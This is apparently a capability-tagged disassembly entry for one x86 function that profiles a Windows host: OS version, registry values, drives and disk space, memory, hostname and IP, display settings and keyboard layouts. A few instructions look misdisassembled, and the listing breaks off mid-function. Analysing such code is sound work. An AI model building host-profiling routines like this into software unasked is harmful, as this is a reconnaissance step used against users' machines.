Function at 0x45c504
Capabilities:
Check os version
Get common file path
Get disk information
Get geographical location
Get hostname
Get memory capacity
Get session user name
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0xcd
push 0
push 0
dec ecx
jne 0x45c50c
xor eax, eax
push ebp
push 0x45dba8
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x4671a8]
mov edx, 0x45dbbc
call fcn.004045b8
mov eax, dword [0x467220]
mov edx, 0x45dc70
call fcn.004045b8
mov dword [ebp - 0xf0], 0x94
lea eax, [ebp - 0xf0]
push eax
call sub.kernel32.dll_GetVersionExA
cmp dword [ebp - 0xe0], 2
jne 0x45c56d
lea eax, [ebp - 0x10]
mov edx, 0x45dc7c
call fcn.004045fc
jmp 0x45c595
mov eax, dword [ebp - 0xe0]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x5c8]
call fcn.004079bc
mov ecx, dword [ebp - 0x5c8]
lea eax, [ebp - 0x10]
mov edx, 0x45dc98
call fcn.00404870
mov eax, dword [0x4670c0]
cmp byte [eax], 0
je 0x45c5ae
lea eax, [ebp - 0xc]
mov edx, 0x45dcb4
call fcn.004045fc
jmp 0x45c5bb
lea eax, [ebp - 0xc]
mov edx, 0x45dcc4
call fcn.004045fc
mov eax, dword [ebp - 0xec]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x5cc]
call fcn.004079bc
push dword [ebp - 0x5cc]
push 0x45dcd4
mov eax, dword [ebp - 0xe8]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x5d0]
call fcn.004079bc
push dword [ebp - 0x5d0]
lea eax, [ebp - 0x14]
mov edx, 3
call fcn.004048e4
mov eax, dword [ebp - 0x14]
mov edx, 0x45dce0
call fcn.00404970
jne 0x45c61f
lea eax, [ebp - 0xc]
mov edx, 0x45dcec
call fcn.004045fc
mov eax, dword [0x4671a8]
mov edx, 0x45dcfc
call fcn.004045b8
lea eax, [ebp - 0x20]
lea edx, [ebp - 0xdc]
mov ecx, 0x80
call fcn.004047d4
mov edx, dword [0x46700c]
mov edx, dword [edx]
lea eax, [ebp - 0x5d4]
mov ecx, 0x45ddc8
call fcn.00404870
mov edx, dword [ebp - 0x5d4]
mov eax, dword [ebp - 0x20]
call fcn.00404970
jne 0x45c67b
lea eax, [ebp - 0x20]
mov edx, 0x45ddd4
call fcn.004045fc
jmp 0x45c71e
mov edx, dword [0x46700c]
mov edx, dword [edx]
lea eax, [ebp - 0x5d8]
mov ecx, 0x45dde0
call fcn.00404870
mov edx, dword [ebp - 0x5d8]
mov eax, dword [ebp - 0x20]
call fcn.00404970
jne 0x45c6b2
lea eax, [ebp - 0x20]
mov edx, 0x45ddec
call fcn.004045fc
jmp 0x45c71e
mov edx, dword [0x46700c]
mov edx, dword [edx]
lea eax, [ebp - 0x5dc]
mov ecx, 0x45ddf8
call fcn.00404870
mov edx, dword [ebp - 0x5dc]
mov eax, dword [ebp - 0x20]
call fcn.00404970
jne 0x45c6e9
lea eax, [ebp - 0x20]
mov edx, 0x45de04
call fcn.004045fc
jmp 0x45c71e
mov edx, dword [0x46700c]
mov edx, dword [edx]
lea eax, [ebp - 0x5e0]
mov ecx, 0x45de10
call fcn.00404870
mov edx, dword [ebp - 0x5e0]
mov eax, dword [ebp - 0x20]
call fcn.00404970
jne 0x45c71e
lea eax, [ebp - 0x20]
mov edx, 0x45de1c
call fcn.004045fc
mov eax, dword [ebp - 0xe4]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x5e4]
call fcn.004079bc
mov ecx, dword [ebp - 0x5e4]
lea eax, [ebp - 0x18]
mov edx, 0x45de28
call fcn.00404870
mov eax, dword [0x4671a8]
mov edx, 0x45de38
call fcn.004045b8
push dword [ebp - 0xc]
push 0x45dee0
push dword [ebp - 0x14]
push 0x45deec
push dword [ebp - 0x20]
push 0x45deec
push dword [ebp - 0x18]
push 0x45deec
lea eax, [ebp - 0x1c]
mov edx, 8
call fcn.004048e4
mov eax, dword [0x467220]
push dword [eax]
push dword [ebp - 0x10]
push 0x45dc70
push dword [ebp - 0xc]
push 0x45dee0
push dword [ebp - 0x14]
push 0x45dc70
push dword [ebp - 0x18]
push 0x45dc70
push dword [ebp - 0x20]
push 0x45dc70
push 0x45def8
mov eax, dword [0x467324]
push dword [eax]
push 0x45df0c
push 0x45dc70
mov eax, dword [0x467220]
mov edx, 0xf
call fcn.004048e4
push 0xfa
lea eax, [ebp - 0x583]
push eax
call sub.kernel32.dll_GetSystemDirectoryA
mov eax, dword [0x4671a8]
mov edx, 0x45df18
call fcn.004045b8
mov eax, dword [0x467220]
push dword [eax]
push 0x45df8c
lea eax, [ebp - 0x5e8]
lea edx, [ebp - 0x583]
mov ecx, 0xfb
call fcn.004047d4
push dword [ebp - 0x5e8]
push 0x45dc70
mov eax, dword [0x467220]
mov edx, 4
call fcn.004048e4
mov eax, dword [0x4672a4]
push eax
push 0x400
lea eax, [ebp - 0xc]
push eax
mov ecx, 0x45dfa0
mov edx, 0x45dfb4
mov eax, 0x80000001
call fcn.00409200
mov eax, dword [0x467220]
push dword [eax]
push 0x45dfd8
push dword [ebp - 0xc]
push 0x45dc70
mov eax, dword [0x467220]
mov edx, 4
call fcn.004048e4
push dword [ebp - 0x1c]
push dword [ebp - 0xc]
push 0x45deec
lea eax, [ebp - 0x1c]
mov edx, 3
call fcn.004048e4
mov eax, dword [0x467220]
push dword [eax]
push 0x45dfec
mov eax, dword [0x467394]
push dword [eax]
push 0x45dc70
mov eax, dword [0x467220]
mov edx, 4
call fcn.004048e4
push dword [ebp - 0x1c]
push 0x45e004
mov eax, dword [0x467394]
push dword [eax]
push 0x45deec
lea eax, [ebp - 0x1c]
mov edx, 4
call fcn.004048e4
mov dword [ebp - 0x58], 0x32
mov eax, dword [0x4671a8]
mov edx, 0x45e014
call fcn.004045b8
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x583]
push eax
call fcn.00406558
mov eax, dword [0x467220]
push dword [eax]
push 0x45e0bc
lea eax, [ebp - 0x5ec]
lea edx, [ebp - 0x583]
mov ecx, 0xfb
call fcn.004047d4
push dword [ebp - 0x5ec]
push 0x45dc70
mov eax, dword [0x467220]
mov edx, 4
call fcn.004048e4
push dword [ebp - 0x1c]
push 0x45e0d0
lea eax, [ebp - 0x5f0]
lea edx, [ebp - 0x583]
mov ecx, 0xfb
call fcn.004047d4
push dword [ebp - 0x5f0]
push 0x45deec
lea eax, [ebp - 0x1c]
mov edx, 4
call fcn.004048e4
mov eax, dword [0x4671a8]
mov edx, 0x45e0e0
call fcn.004045b8
lea eax, [ebp - 0xc]
mov edx, 0x45e154
call fcn.004045fc
lea eax, [ebp - 0x10]
mov ecx, 0x45e178
mov edx, dword [ebp - 0xc]
call fcn.00404870
mov eax, dword [0x4671a8]
mov edx, 0x45e194
call fcn.004045b8
mov eax, dword [0x4672a4]
push eax
mov ecx, 0x45e1c4
mov edx, dword [ebp - 0x10]
mov eax, 0x80000002
call fcn.00409148
lea edx, [ebp - 0x14]
call fcn.0040799c
mov eax, dword [ebp - 0x14]
call fcn.00404824
cmp eax, 3
jge 0x45c9f3
push 0
push 0x100000
call fcn.004087cc
call fcn.0040532c
push edx
push eax
lea eax, [ebp - 0x14]
call fcn.004079bc
mov eax, dword [0x4671a8]
mov edx, 0x45e1d4
call fcn.004045b8
push dword [ebp - 0x1c]
push 0x45e254
push dword [ebp - 0x14]
push 0x45deec
lea eax, [ebp - 0x1c]
mov edx, 4
call fcn.004048e4
mov eax, dword [0x467220]
push dword [eax]
push 0x45e264
push 0x45e270
push dword [ebp - 0x14]
push 0x45e280
push 0x45dc70
push 0x45e290
mov eax, dword [0x4672a4]
push eax
push 0x400
lea eax, [ebp - 0x5f4]
push eax
mov ecx, 0x45e2ac
mov edx, dword [ebp - 0x10]
mov eax, 0x80000002
call fcn.00409200
push dword [ebp - 0x5f4]
push 0x45dc70
push 0x45e2c8
mov eax, dword [0x4672a4]
push eax
push 0x400
lea eax, [ebp - 0x5f8]
push eax
mov ecx, 0x45e2e0
mov edx, dword [ebp - 0x10]
mov eax, 0x80000002
call fcn.00409200
push dword [ebp - 0x5f8]
push 0x45dc70
push 0x45e2f4
mov eax, dword [0x4672a4]
push eax
push 0x400
lea eax, [ebp - 0x5fc]
push eax
mov ecx, 0x45e308
mov edx, dword [ebp - 0x10]
mov eax, 0x80000002
call fcn.00409200
push dword [ebp - 0x5fc]
push 0x45dc70
push 0x45e324
mov eax, dword [0x4672a4]
push eax
push 0x400
lea eax, [ebp - 0x600]
push eax
mov ecx, 0x45e33c
mov edx, dword [ebp - 0xc]
mov eax, 0x80000002
call fcn.00409200
push dword [ebp - 0x600]
push 0x45dc70
push 0x45e358
mov eax, dword [0x4672a4]
push eax
push 0x400
lea eax, [ebp - 0x604]
push eax
mov ecx, 0x45e36c
mov edx, dword [ebp - 0xc]
mov eax, 0x80000002
call fcn.00409200
push dword [ebp - 0x604]
push 0x45dc70
push 0x45e384
mov eax, dword [0x4672a4]
push eax
push 0x400
lea eax, [ebp - 0x608]
push eax
mov ecx, 0x45e3a4
mov edx, dword [ebp - 0xc]
mov eax, 0x80000002
call fcn.00409200
push dword [ebp - 0x608]
push 0x45dc70
push 0x45e3c0
mov eax, dword [0x4672a4]
push eax
push 0x400
lea eax, [ebp - 0x60c]
push eax
mov ecx, 0x45e3dc
mov edx, dword [ebp - 0xc]
mov eax, 0x80000002
call fcn.00409200
push dword [ebp - 0x60c]
push 0x45dc70
mov eax, dword [0x467220]
mov edx, 0x1b
call fcn.004048e4
mov eax, dword [0x4671a8]
mov edx, 0x45e3f4
call fcn.004045b8
lea eax, [ebp - 0xc]
mov edx, 0x45e4c8
call fcn.004045fc
mov eax, dword [0x4671a8]
mov edx, 0x45e4d8
call fcn.004045b8
xor eax, eax
mov dword [ebp - 0x28], eax
lea edx, [ebp - 0x18]
mov eax, dword [ebp - 0x28]
call fcn.0040799c
mov eax, dword [0x4672a4]
push eax
push 0x400
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x610]
mov ecx, dword [ebp - 0x18]
mov edx, 0x45e514
call fcn.00404870
mov ecx, dword [ebp - 0x610]
mov edx, 0x45e52c
mov eax, 0x80000002
call fcn.00409200
mov eax, dword [ebp - 0x14]
call fcn.00404824
test eax, eax
jle 0x45cc57
mov eax, dword [0x467220]
push dword [eax]
push dword [ebp - 0xc]
push dword [ebp - 0x14]
push 0x45dc70
mov eax, dword [0x467220]
mov edx, 4
call fcn.004048e4
mov eax, dword [0x4672a4]
push eax
push 0x400
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x614]
mov ecx, dword [ebp - 0x18]
mov edx, 0x45e554
call fcn.00404870
mov ecx, dword [ebp - 0x614]
mov edx, 0x45e570
mov eax, 0x80000002
call fcn.00409200
mov eax, dword [ebp - 0x14]
call fcn.00404824
test eax, eax
jle 0x45ccbb
mov eax, dword [0x467220]
push dword [eax]
push dword [ebp - 0xc]
push dword [ebp - 0x14]
push 0x45dc70
mov eax, dword [0x467220]
mov edx, 4
call fcn.004048e4
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 7
jne 0x45cbe8
mov eax, dword [0x4671a8]
mov edx, 0x45e59c
call fcn.004045b8
mov eax, dword [0x4672a4]
push eax
mov ecx, dword [0x467340]
mov ecx, dword [ecx]
mov edx, dword [0x467040]
mov edx, dword [edx]
mov eax, 0x80000002
call fcn.00409148
lea edx, [ebp - 0x18]
call fcn.0040799c
mov eax, dword [ebp - 0x18]
call fcn.00404824
test eax, eax
jle 0x45cd2c
mov eax, dword [0x467340]
push dword [eax]
push 0x45e62c
push dword [ebp - 0x18]
push 0x45dc70
lea eax, [ebp - 0x18]
mov edx, 4
call fcn.004048e4
mov dword [ebp - 0x5c4], 0x20
lea eax, [ebp - 0x5c4]
push eax
call sub.kernel32.dll_GlobalMemoryStatus
mov eax, dword [0x4671a8]
mov edx, 0x45e638
call fcn.004045b8
mov eax, dword [ebp - 0x5bc]
shr eax, 0x14
xor edx, edx
push edx
push eax
lea eax, [ebp - 0xc]
call fcn.004079bc
push dword [ebp - 0x1c]
push 0x45e690
push dword [ebp - 0xc]
push 0x45deec
mov eax, dword [0x467324]
push dword [eax]
push 0x45deec
lea eax, [ebp - 0x1c]
mov edx, 6
call fcn.004048e4
mov eax, dword [0x467220]
push dword [eax]
push 0x45e264
push 0x45e6a0
push 0x45dc70
push 0x45e6b4
push dword [ebp - 0xc]
push 0x45e6cc
push 0x45dc70
push 0x45e6d8
mov eax, dword [ebp - 0x5c0]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x618]
call fcn.004079bc
push dword [ebp - 0x618]
push 0x45e6e8
push 0x45dc70
push 0x45e6f4
mov eax, dword [ebp - 0x5b8]
shr eax, 0x14
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x61c]
call fcn.004079bc
push dword [ebp - 0x61c]
push 0x45e6cc
push 0x45dc70
push 0x45e264
push 0x45e70c
push 0x45dc70
push 0x45e720
mov eax, dword [ebp - 0x5b4]
shr eax, 0x14
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x620]
call fcn.004079bc
push dword [ebp - 0x620]
push 0x45e6cc
push 0x45dc70
push 0x45e734
mov eax, dword [ebp - 0x5b0]
shr eax, 0x14
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x624]
call fcn.004079bc
push dword [ebp - 0x624]
push 0x45e6cc
push 0x45dc70
push 0x45e748
mov eax, dword [ebp - 0x5ac]
shr eax, 0x14
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x628]
call fcn.004079bc
push dword [ebp - 0x628]
push 0x45e6cc
push 0x45dc70
push 0x45e760
mov eax, dword [ebp - 0x5a8]
shr eax, 0x14
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x62c]
call fcn.004079bc
push dword [ebp - 0x62c]
push 0x45e6cc
push 0x45dc70
push 0x45dc70
mov eax, dword [0x467214]
push dword [eax]
mov eax, dword [0x4671b4]
push dword [eax]
push 0x45dc70
push dword [ebp - 0x18]
mov eax, dword [0x467220]
mov edx, 0x28
call fcn.004048e4
lea eax, [ebp - 0x280]
push eax
push 0x101
call sub.wsock32.dll_WSAStartup
mov eax, dword [0x4671a8]
mov edx, 0x45e778
call fcn.004045b8
push 0xff
lea eax, [ebp - 0x583]
push eax
call sub.wsock32.dll_gethostname
lea eax, [ebp - 0x583]
push eax
call sub.wsock32.dll_gethostbyname
mov dword [ebp - 4], eax
mov eax, dword [0x4671a8]
mov edx, 0x45e834
call fcn.004045b8
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
push dword [eax]
call sub.wsock32.dll_inet_ntoa
mov edx, eax
lea eax, [ebp - 0xc]
call fcn.0040475c
mov eax, dword [0x467220]
push dword [eax]
push fcn.0045e8a4
push dword [ebp - 0xc]
mov eax, dword [0x467220]
mov edx, 3
call fcn.004048e4
mov eax, dword [0x4671a8]
mov edx, 0x45e8b8
call fcn.004045b8
push dword [ebp - 0x1c]
push 0x45e8e4
push dword [ebp - 0xc]
push 0x45deec
push 0x45e8f0
lea eax, [ebp - 0x1c]
mov edx, 5
call fcn.004048e4
mov eax, dword [0x4671a8]
mov edx, 0x45e900
call fcn.004045b8
call sub.wsock32.dll_WSACleanup
mov eax, dword [0x4671a8]
mov edx, 0x45e9ac
call fcn.004045b8
mov eax, dword [0x467220]
push dword [eax]
push 0x45dc70
push 0x45dc70
push 0x45ea48
push 0x45dc70
mov eax, dword [0x467220]
mov edx, 5
call fcn.004048e4
mov eax, dword [0x4671a8]
mov edx, 0x45ea60
call fcn.004045b8
mov byte [ebp - 5], 0x42
mov eax, dword [0x4671a8]
mov edx, 0x45eb24
call fcn.004045b8
lea eax, [ebp - 0x630]
mov dl, byte [ebp - 5]
call fcn.0040474c
mov edx, dword [ebp - 0x630]
lea eax, [ebp - 0x24]
mov ecx, 0x45ebb8
call fcn.00404870
mov eax, dword [ebp - 0x24]
call fcn.00404a24
push eax
call sub.kernel32.dll_GetDriveTypeA
cmp eax, 6
ja case.0x45d059.0
jmp dword [eax*4 + 0x45d060]
mov eax, dword [0x4671a8]
mov edx, 0x45ebc4
call fcn.004045b8
lea eax, [ebp - 0xc]
mov edx, 0x45ec24
call fcn.004045fc
lea eax, [ebp - 0x10]
mov edx, 0x45ec38
call fcn.004045fc
jmp 0x45d1c4
mov eax, dword [0x4671a8]
mov edx, 0x45ec44
call fcn.004045b8
lea eax, [ebp - 0xc]
mov edx, 0x45ecd0
call fcn.004045fc
lea eax, [ebp - 0x10]
mov edx, 0x45ece0
call fcn.004045fc
mov eax, dword [0x4671a8]
mov edx, 0x45ecec
call fcn.004045b8
jmp 0x45d1c4
lea eax, [ebp - 0xc]
mov edx, 0x45eda0
call fcn.004045fc
lea eax, [ebp - 0x10]
mov edx, 0x45edb0
call fcn.004045fc
mov eax, dword [0x4671a8]
mov edx, 0x45edc0
call fcn.004045b8
jmp 0x45d1c4
lea eax, [ebp - 0xc]
mov edx, 0x45ee2c
call fcn.004045fc
lea eax, [ebp - 0x10]
mov edx, 0x45ee3c
call fcn.004045fc
mov eax, dword [0x4671a8]
mov edx, 0x45ee48
call fcn.004045b8
mov eax, dword [0x467220]
push dword [eax]
push 0x45dc70
push 0x45e264
push dword [ebp - 0x24]
push dword [ebp - 0xc]
push 0x45dc70
mov eax, dword [0x467220]
mov edx, 6
call fcn.004048e4
lea eax, [ebp - 0xc]
call fcn.00404564
mov eax, dword [0x4671a8]
mov edx, 0x45ee84
call fcn.004045b8
jmp 0x45d1c4
lea eax, [ebp - 0xc]
mov edx, 0x45eecc
call fcn.004045fc
mov eax, dword [0x4671a8]
mov edx, 0x45eedc
call fcn.004045b8
lea eax, [ebp - 0x10]
mov edx, 0x45ef24
call fcn.004045fc
mov eax, dword [0x4671a8]
mov edx, 0x45ef38
call fcn.004045b8
jmp 0x45d1c4
lea eax, [ebp - 0xc]
call fcn.00404564
mov eax, dword [0x4671a8]
mov edx, 0x45efc0
call fcn.004045b8
mov eax, dword [ebp - 0xc]
call fcn.00404824
dec eax
jl 0x45d43d
push dword [ebp - 0x1c]
lea eax, [ebp - 0x634]
mov dl, byte [ebp - 5]
call fcn.0040474c
push dword [ebp - 0x634]
push 0x45e62c
push dword [ebp - 0x10]
lea eax, [ebp - 0x1c]
mov edx, 4
call fcn.004048e4
mov eax, dword [0x467220]
push dword [eax]
push 0x45e264
push dword [ebp - 0x24]
push 0x45dc70
push 0x45f05c
push dword [ebp - 0xc]
push 0x45dc70
mov eax, dword [0x467220]
mov edx, 7
call fcn.004048e4
mov eax, dword [0x4671a8]
mov edx, 0x45f06c
call fcn.004045b8
push 0x64
lea eax, [ebp - 0x488]
push eax
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x2c]
push eax
push 0x104
lea eax, [ebp - 0x384]
push eax
mov eax, dword [ebp - 0x24]
call fcn.00404a24
push eax
mov eax, dword [0x467150]
mov eax, dword [eax]
call eax
test eax, eax
je 0x45d350
mov eax, dword [0x467220]
push dword [eax]
push 0x45f114
lea eax, [ebp - 0x638]
lea edx, [ebp - 0x384]
mov ecx, 0x104
call fcn.004047d4
push dword [ebp - 0x638]
push 0x45dc70
push 0x45f124
lea eax, [ebp - 0x63c]
lea edx, [ebp - 0x488]
mov ecx, 0x104
call fcn.004047d4
push dword [ebp - 0x63c]
push 0x45dc70
push 0x45f134
mov eax, dword [ebp - 0x2c]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x640]
call fcn.004079bc
push dword [ebp - 0x640]
push 0x45dc70
push 0x45f144
mov eax, dword [ebp - 0x30]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x644]
call fcn.004079bc
push dword [ebp - 0x644]
push 0x45dc70
push 0x45f158
mov eax, dword [ebp - 0x34]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x648]
call fcn.004079bc
push dword [ebp - 0x648]
push 0x45dc70
mov eax, dword [0x467220]
mov edx, 0x10
call fcn.004048e4
mov eax, dword [0x4671a8]
mov edx, 0x45f168
call fcn.004045b8
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x40]
push eax
mov eax, dword [ebp - 0x24]
call fcn.00404a24
push eax
mov eax, dword [0x467044]
mov eax, dword [eax]
call eax
test eax, eax
je 0x45d43d
mov eax, dword [0x467220]
push dword [eax]
push 0x45f184
push 0
push 0x100000
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x44]
call fcn.0040532c
push edx
push eax
lea eax, [ebp - 0x64c]
call fcn.004079bc
push dword [ebp - 0x64c]
push 0x45e6cc
push 0x45dc70
push 0x45f194
push 0
push 0x100000
mov eax, dword [ebp - 0x50]
mov edx, dword [ebp - 0x4c]
call fcn.0040532c
push edx
push eax
lea eax, [ebp - 0x650]
call fcn.004079bc
push dword [ebp - 0x650]
push 0x45e6cc
push 0x45dc70
push 0x45f1a4
push 0
push 0x100000
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x44]
sub eax, dword [ebp - 0x50]
sbb edx, dword [ebp - 0x4c]
call fcn.0040532c
push edx
push eax
lea eax, [ebp - 0x654]
call fcn.004079bc
push dword [ebp - 0x654]
push 0x45e6cc
push 0x45dc70
mov eax, dword [0x467220]
mov edx, 0xd
call fcn.004048e4
inc byte [ebp - 5]
cmp byte [ebp - 5], 0x5b
jne 0x45d012
push 0
push 0
push 0
push 0x45f1ac
call sub.gdi32.dll_CreateDCA
mov dword [ebp - 0x54], eax
push 8
mov eax, dword [ebp - 0x54]
push eax
call sub.gdi32.dll_GetDeviceCaps
lea edx, [ebp - 0xc]
call fcn.0040799c
mov eax, dword [0x4671a8]
mov edx, 0x45f1bc
call fcn.004045b8
push 0xa
mov eax, dword [ebp - 0x54]
push eax
call sub.gdi32.dll_GetDeviceCaps
lea edx, [ebp - 0x10]
call fcn.0040799c
push 0x74
mov eax, dword [ebp - 0x54]
push eax
call sub.gdi32.dll_GetDeviceCaps
lea edx, [ebp - 0x14]
call fcn.0040799c
push 0xc
mov eax, dword [ebp - 0x54]
push eax
call sub.gdi32.dll_GetDeviceCaps
lea edx, [ebp - 0x18]
call fcn.0040799c
mov eax, dword [ebp - 0x54]
push eax
call sub.gdi32.dll_DeleteDC
mov eax, dword [0x4671a8]
mov edx, 0x45f240
call fcn.004045b8
mov eax, dword [0x467220]
push dword [eax]
push 0x45e264
push 0x45f2c0
push 0x45dc70
push 0x45f2d4
push dword [ebp - 0xc]
push 0x45dc70
push 0x45f2e4
push dword [ebp - 0x10]
push 0x45dc70
push 0x45f2f8
push dword [ebp - 0x14]
push 0x45dc70
push 0x45f30c
push dword [ebp - 0x18]
push 0x45dc70
mov eax, dword [0x467220]
mov edx, 0x10
call fcn.004048e4
mov eax, dword [0x4671a8]
mov edx, 0x45f324
call fcn.004045b8
push dword [ebp - 0x1c]
push 0x45deec
push 0x45f3c0
push dword [ebp - 0xc]
push 0x45f3d0
push dword [ebp - 0x10]
push 0x45f3dc
push dword [ebp - 0x14]
push 0x45f3d0
push dword [ebp - 0x18]
lea eax, [ebp - 0x1c]
mov edx, 0xa
call fcn.004048e4
mov eax, dword [0x4671a8]
mov edx, 0x45f3e8
call fcn.004045b8
lea eax, [ebp - 0x5a4]
xor ecx, ecx
mov edx, 7
call fcn.0040308c
dec dword [ebp - 0x5a37b]
call dword [eax + 0x6a]
or byte [ecx + 0x467278], ah
mov eax, dword [eax]
call eax
mov dword [ebp - 0x58], eax
mov eax, dword [0x4671a8]
mov edx, 0x45f444
call fcn.004045b8
push 0x45f46c
mov eax, dword [ebp - 0x58]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x658]
call fcn.004079bc
push dword [ebp - 0x658]
push 0x45dc70
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.004048e4
mov eax, dword [0x4671a8]
mov edx, 0x45f488
call fcn.004045b8
mov eax, dword [ebp - 0x58]
dec eax
test eax, eax
jl 0x45da75
inc eax
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x28], 0
mov eax, dword [0x4671a8]
mov edx, 0x45f558
call fcn.004045b8
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp + eax*4 - 0x5a4]
and eax, 0xff
cmp eax, 0x38
ja case.0x45d62e.0
jmp dword [eax*4 + 0x45d635]
lea eax, [ebp - 0x18]
mov edx, 0x45f5f8
call fcn.004045fc
jmp case.0x45d62e.0
lea eax, [ebp - 0x18]
mov edx, 0x45f608
call fcn.004045fc
jmp case.0x45d62e.0
lea eax, [ebp - 0x18]
mov edx, 0x45f618
call fcn.004045fc
jmp case.0x45d62e.0
lea eax, [ebp - 0x18]
mov edx, 0x45f628
call fcn.004045fc
jmp case.0x45d62e.0
lea eax, [ebp - 0x18]
mov edx, 0x45f638
call fcn.004045fc
jmp case.0x45d62e.0
lea eax, [ebp - 0x18]
mov edx, 0x45f648
call fcn.004045fc
jmp case.0x45d62e.0
lea eax, [ebp - 0x18]
mov edx, 0x45f658
call fcn.004045fc
jmp case.0x45d62e.0
lea eax, [ebp - 0x18]
mov edx, 0x45f668
call fcn.004045fc
jmp case.0x45d62e.0
lea eax, [ebp - 0x18]
mov edx, 0x45f678
call fcn.004045fc
jmp case.0x45d62e.0
lea eax, [ebp - 0x18]
mov edx, 0x45f688
call fcn.004045fc
jmp case.0x45d62e.0
lea eax, [ebp - 0x18]
mov edx, 0x45f698
call fcn.004045fc
jmp case.0x45d62e.0
lea eax, [ebp - 0x18]
mov edx, 0x45f6a8
call fcn.004045fc
jmp case.0x45d62e.0
lea eax, [ebp - 0x18]
mov edx, 0x45f6b8
call fcn.004045fc
jmp case.0x45d62e.0
lea eax, [ebp - 0x18]
mov edx, 0x45f6c4
call fcn.004045fc
jmp case.0x45d62e.0
lea eax, [ebp - 0x18]
mov edx, 0x45f6d8
call fcn.004045fc
jmp case.0x45d62e.0
lea eax, [ebp - 0x18]
mov edx, 0x45f6ec
call fcn.004045fc
mov eax, dword [0x4671a8]
mov edx, 0x45f6fc
call fcn.004045b8
jmp case.0x45d62e.0
lea eax, [ebp - 0x18]
mov edx, 0x45f74c
call fcn.004045fc
jmp case.0x45d62e.0
lea eax, [ebp - 0x18]
mov edx, 0x45f75c
call fcn.004045fc
jmp case.0x45d62e.0
lea eax, [ebp - 0x18]
mov edx, 0x45f76c
call fcn.004045fc
jmp case.0x45d62e.0
lea eax, [ebp - 0x18]
mov edx, 0x45f77c
call fcn.004045fc
jmp case.0x45d62e.0
lea eax, [ebp - 0x18]
mov edx, 0x45f78c
call fcn.004045fc
jmp case.0x45d62e.0
lea eax, [ebp - 0x18]
mov edx, 0x45f79c
call fcn.004045fc
jmp case.0x45d62e.0
lea eax, [ebp - 0x18]
mov edx, 0x45f7b0
call fcn.004045fc
jmp case.0x45d62e.0
lea eax, [ebp - 0x18]
mov edx, 0x45f7c4
call fcn.004045fc
jmp case.0x45d62e.0
lea eax, [ebp - 0x18]
mov edx, 0x45f7d8
call fcn.004045fc
jmp case.0x45d62e.0
lea eax, [ebp - 0x18]
mov edx, 0x45f7e8
call fcn.004045fc
jmp case.0x45d62e.0
lea eax, [ebp - 0x18]
mov edx, 0x45f7fc
call fcn.004045fc
jmp case.0x45d62e.0
lea eax, [ebp - 0x18]
mov edx, 0x45f80c
call fcn.004045fc
jmp case.0x45d62e.0
lea eax, [ebp - 0x18]
mov edx, 0x45f81c
call fcn.004045fc
jmp case.0x45d62e.0
lea eax, [ebp - 0x18]
mov edx, 0x45f830
call fcn.004045fc
jmp case.0x45d62e.0
lea eax, [ebp - 0x18]
mov edx, 0x45f844
call fcn.004045fc
jmp case.0x45d62e.0
lea eax, [ebp - 0x18]
mov edx, 0x45f854
call fcn.004045fc
jmp case.0x45d62e.0
lea eax, [ebp - 0x18]
mov edx, 0x45f868
call fcn.004045fc
jmp case.0x45d62e.0
lea eax, [ebp - 0x18]
mov edx, 0x45f87c
call fcn.004045fc
jmp case.0x45d62e.0
lea eax, [ebp - 0x18]
mov edx, 0x45f888
call fcn.004045fc
jmp case.0x45d62e.0
lea eax, [ebp - 0x18]
mov edx, 0x45f898
call fcn.004045fc
jmp case.0x45d62e.0
lea eax, [ebp - 0x18]
mov edx, 0x45f8ac
call fcn.004045fc
jmp case.0x45d62e.0
lea eax, [ebp - 0x18]
mov edx, 0x45f8bc
call fcn.004045fc
jmp case.0x45d62e.0
lea eax, [ebp - 0x18]
mov edx, 0x45f8cc
call fcn.004045fc
jmp case.0x45d62e.0
lea eax, [ebp - 0x18]
mov edx, 0x45f8dc
call fcn.004045fc
jmp case.0x45d62e.0
lea eax, [ebp - 0x18]
mov edx, 0x45f8ec
call fcn.004045fc
jmp case.0x45d62e.0
lea eax, [ebp - 0x18]
mov edx, 0x45f8f8
call fcn.004045fc
mov eax, dword [0x4671a8]
mov edx, 0x45f908
call fcn.004045b8
push dword [ebp - 0xc]
lea edx, [ebp - 0x65c]
mov eax, dword [ebp - 0x28]
inc eax
call fcn.0040799c
push dword [ebp - 0x65c]
push 0x45e62c
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp + eax*4 - 0x5a4]
and eax, 0xff
add byte [ebx], dh
rcl byte [edx + 0x50], cl
lea eax, [ebp - 0x660]
call fcn.004079bc
push dword [ebp - 0x660]
push 0x45dee0
push dword [ebp - 0x18]
push 0x45dc70
lea eax, [ebp - 0xc]
mov edx, 7
call fcn.004048e4
inc dword [ebp - 0x28]
dec dword [ebp - 0x5c]
jne 0x45d607
mov eax, dword [0x467220]
mov edx, dword [ebp - 0xc]
call fcn.0040482c
mov eax, dword [0x467220]
lea eax, [ebp - 0x14]
mov edx, 0x45f9e0
